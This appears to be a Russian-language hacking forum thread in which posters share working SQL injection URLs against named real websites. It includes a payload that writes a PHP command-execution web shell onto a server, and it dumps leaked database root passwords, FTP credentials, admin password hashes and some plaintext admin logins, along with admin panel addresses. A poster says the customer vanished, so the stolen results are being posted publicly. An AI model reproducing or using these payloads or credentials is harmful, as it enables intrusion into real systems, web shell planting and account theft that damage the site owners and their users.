а * там не случайно?

spherics теперь такой интересный вопрос, а где на winamp.com вход в админку? ))

http://www.winamp.com/user/login

там нужно вводить эмэил а мне известны лишь ники, значит где ни будь в другом месте

http://www.moto.ru/news/motonews.php?id=3917
равно
http://www.moto.ru/news/motonews.php?id=3918-1
а занчит может біть скуль))

а и еще один момент!
Скуль может быть при условии что:
http://www.moto.ru/news/motonews.php?id=3917
равно
http://www.moto.ru/news/motonews.php?id=3918-1
неравно
http://www.moto.ru/news/motonews.php?id=9999

http://www.moto.ru/news/motonews.php?id=3917+or+1=1
http://www.moto.ru/news/motonews.php?id=3917+or+1=2
и поехали))

http://www.interstar.ua/mobile/catalog/?main_menu=3&id_phone=-1875+union+select+concat_ws(0x3a3a,version(),user( ),database()),2--&count=1

тИЦ = 850
PageRank = 5

Version:5.0.26-Max-log
User:webadmin@localhost
Database:IStarmobile

http://www.equipnet.ru/equip_cat.php?cat_id=-209+union+select+concat_ws(0x3a3a,version(),user() ,database())--

тИЦ = 3000
PageRank = 5

Version:5.0.75-log
User:equipnet_data@localhost
Database:equipnet_data

Заказчик пропал сволочь =)
Кидаю в паблик.

www.genialpix.net

Залил шелл через скулю.

http://genialpix.net/index.php?categoria=&id=-1619+union+select+1,2,3,4,5,6,0x3c3f2073797374656d 28245f4745545b27636d64275d293b203f3e,8,9,10,11,12, 13,14,15,16,17,18,19,20,21+from+mysql.user+into+ou tfile+'/var/www/html/tmp/c.php'/*


Рут от бд.
define("DB_NAME_I", "swaptables");
define("DB_HOST_I", "localhost");
define("DB_USERNAME_I", "root");
define("DB_PASSWORD_I", "zawajiko");


Данные от фтп:
FTP_HOST 84.253.182.210
FTP_USERNAME webdev
FTP_PASSWORD micaqene



Шопы, мерчи, etc...

__________________________________________________ ______________________
http://www.bethelhebrew.org/news/bulletin_show.php?id=13%20UNION%20SELECT%201,2,3,c onvert(concat_ws(0x3A3a,user_login,user_pass)+usin g+latin1),5%20from%20msgs_users/*

admin::4b631f451436e97276e01d5eb10d411e
__________________________________________________ ______________________

http://www.bellyart.com.au/productDetail.php?id=-59+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,c oncat_ws(0x3A3a,table_schema,table_name),16,17,18, 19,20,21,22,23,24,25,26,27,28,29,30+from+informati on_schema.tables/*
__________________________________________________ ______________________

http://www.familyrelatives.com/information/info_detail.php?id=-96'+union+select+1,version(),3,4/*

admin::e00cf25ad42683b3df678c61f42c6bda::admin1

http://www.familyrelatives.com/admin/ -админка
__________________________________________________ ______________________

http://food.truelife.com/after_work/board.php?id=-3+union+select+1,2,3,4,concat_ws(0x3A3a,ID,USER,PA SS),6,7,8,9,10,11+from+admin/*

root::*210BDAB70126948BA5C27B2C9AD3068C1BD814C8
twsiteman::*87FAB66E43DD1EC6C4966796F9FEAFFA809545 32

Админка
http://food.truelife.com/admin
Логи и пасс
1::admin:: DGTfoodworld
__________________________________________________ ______________________

https://ghdrugs.com/product.php?cat_id=-1+union+select+1,concat(name,0x3a,pass,0x3a,email) ,3,4,5,6,7,8,9,10,11,12,13,14+from+webshop_admins/*

https://ghdrugs.com/admin админка

cody01:132722ce61ad9c643a3f4a94783c31dd:BicskA43
kacsa:97854a8e4ba36ef8c9ea711ebed54d6c:firgering




Продолжение следует =)